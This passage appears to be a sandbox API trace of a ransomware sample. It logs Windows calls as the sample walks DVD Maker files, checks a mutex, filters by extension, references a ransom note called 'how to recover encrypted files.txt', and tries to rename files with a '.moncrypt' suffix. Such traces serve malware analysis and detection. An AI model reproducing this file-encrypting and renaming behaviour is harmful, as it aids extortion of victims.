0x440004 [0058.013] GlobalUnlock (hMem=0x440004) returned 0 [0058.013] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.013] CharLowerBuffW (in: lpsz="NavigationLeft_SelectionSubpicture.png", cchLength=0x26 | out: lpsz="navigationleft_selectionsubpicture.png") returned 0x26 [0058.013] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.013] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.013] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.013] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.013] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.013] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.013] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.013] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.013] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.013] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.013] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.014] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png", cchWideChar=89, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 89 [0058.014] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\OldAge\\NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 4 [0058.015] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd80375, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd80375, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 0x54e280 [0058.015] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.015] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.015] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.015] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x20) returned 0 [0058.015] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.015] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png.moncrypt")) returned 0 [0058.016] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fda64d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fda64d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.016] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.016] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.016] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.016] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.016] GlobalUnlock (hMem=0x440004) returned 0 [0058.016] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.016] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.016] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.016] GlobalUnlock (hMem=0x440004) returned 0 [0058.016] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.016] GlobalUnlock (hMem=0x44000c) returned 0 [0058.016] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.016] CharLowerBuffW (in: lpsz="NavigationRight_ButtonGraphic.png", cchLength=0x21 | out: lpsz="navigationright_buttongraphic.png") returned 0x21 [0058.016] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.016] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.016] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.016] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.016] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.017] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png", cchWideChar=84, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png ", lpUsedDefaultChar=0x0) returned 84 [0058.017] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.018] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\OldAge\\NavigationRight_ButtonGraphic.png ", lpUsedDefaultChar=0x0) returned 4 [0058.018] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fda64d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fda64d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, 